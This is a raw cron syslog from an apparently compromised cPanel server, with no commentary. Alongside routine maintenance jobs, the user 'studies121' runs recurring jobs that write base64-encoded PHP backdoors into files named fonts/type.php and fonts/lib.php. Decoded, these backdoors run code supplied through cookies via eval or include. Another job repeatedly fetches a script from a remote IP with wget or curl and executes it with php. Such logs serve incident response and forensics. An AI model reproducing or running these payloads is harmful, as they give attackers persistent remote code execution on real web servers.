Sep 20 06:50:01 ip-184-168-122-23 CROND[25937]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 06:50:01 ip-184-168-122-23 CROND[25940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:50:01 ip-184-168-122-23 CROND[25936]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 06:50:01 ip-184-168-122-23 CROND[25938]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 06:50:01 ip-184-168-122-23 CROND[25945]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:51:01 ip-184-168-122-23 CROND[26254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:51:01 ip-184-168-122-23 CROND[26256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:51:01 ip-184-168-122-23 CROND[26255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:51:01 ip-184-168-122-23 CROND[26257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:52:01 ip-184-168-122-23 CROND[26605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:52:01 ip-184-168-122-23 CROND[26609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:52:01 ip-184-168-122-23 CROND[26607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:52:01 ip-184-168-122-23 CROND[26610]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 06:52:01 ip-184-168-122-23 CROND[26608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:53:02 ip-184-168-122-23 CROND[26875]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:53:02 ip-184-168-122-23 CROND[26876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:53:02 ip-184-168-122-23 CROND[26879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:53:02 ip-184-168-122-23 CROND[26878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:54:01 ip-184-168-122-23 CROND[27134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:54:01 ip-184-168-122-23 CROND[27138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:54:01 ip-184-168-122-23 CROND[27137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:54:01 ip-184-168-122-23 CROND[27139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:54:01 ip-184-168-122-23 CROND[27136]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 06:55:01 ip-184-168-122-23 CROND[27387]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:55:01 ip-184-168-122-23 CROND[27388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:55:01 ip-184-168-122-23 CROND[27392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:55:01 ip-184-168-122-23 CROND[27391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:55:01 ip-184-168-122-23 CROND[27393]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 06:55:01 ip-184-168-122-23 CROND[27394]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 06:56:01 ip-184-168-122-23 CROND[27626]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 06:56:01 ip-184-168-122-23 CROND[27627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:56:01 ip-184-168-122-23 CROND[27628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:56:01 ip-184-168-122-23 CROND[27631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:56:01 ip-184-168-122-23 CROND[27634]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:57:01 ip-184-168-122-23 CROND[27866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:57:01 ip-184-168-122-23 CROND[27868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:57:01 ip-184-168-122-23 CROND[27869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:57:01 ip-184-168-122-23 CROND[27870]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:58:01 ip-184-168-122-23 CROND[28207]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:58:01 ip-184-168-122-23 CROND[28210]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 06:58:01 ip-184-168-122-23 CROND[28209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:58:01 ip-184-168-122-23 CROND[28212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:58:01 ip-184-168-122-23 CROND[28211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:59:01 ip-184-168-122-23 CROND[28477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:59:01 ip-184-168-122-23 CROND[28481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:59:01 ip-184-168-122-23 CROND[28479]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:59:01 ip-184-168-122-23 CROND[28480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:00:01 ip-184-168-122-23 CROND[28745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:00:01 ip-184-168-122-23 CROND[28746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:00:01 ip-184-168-122-23 CROND[28747]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 07:00:01 ip-184-168-122-23 CROND[28753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:00:01 ip-184-168-122-23 CROND[28751]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 07:00:01 ip-184-168-122-23 CROND[28754]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:00:01 ip-184-168-122-23 CROND[28752]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 07:00:01 ip-184-168-122-23 CROND[28748]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 07:01:01 ip-184-168-122-23 CROND[29017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:01:01 ip-184-168-122-23 CROND[29018]: (root) CMD (run-parts /etc/cron.hourly)
Sep 20 07:01:01 ip-184-168-122-23 CROND[29019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:01:01 ip-184-168-122-23 CROND[29022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:01:01 ip-184-168-122-23 CROND[29020]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 07:01:01 ip-184-168-122-23 CROND[29023]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[29018]: starting 0anacron
Sep 20 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[29038]: finished 0anacron
Sep 20 07:02:01 ip-184-168-122-23 CROND[29239]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:02:01 ip-184-168-122-23 CROND[29241]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 07:02:01 ip-184-168-122-23 CROND[29243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:02:01 ip-184-168-122-23 CROND[29242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:02:01 ip-184-168-122-23 CROND[29244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
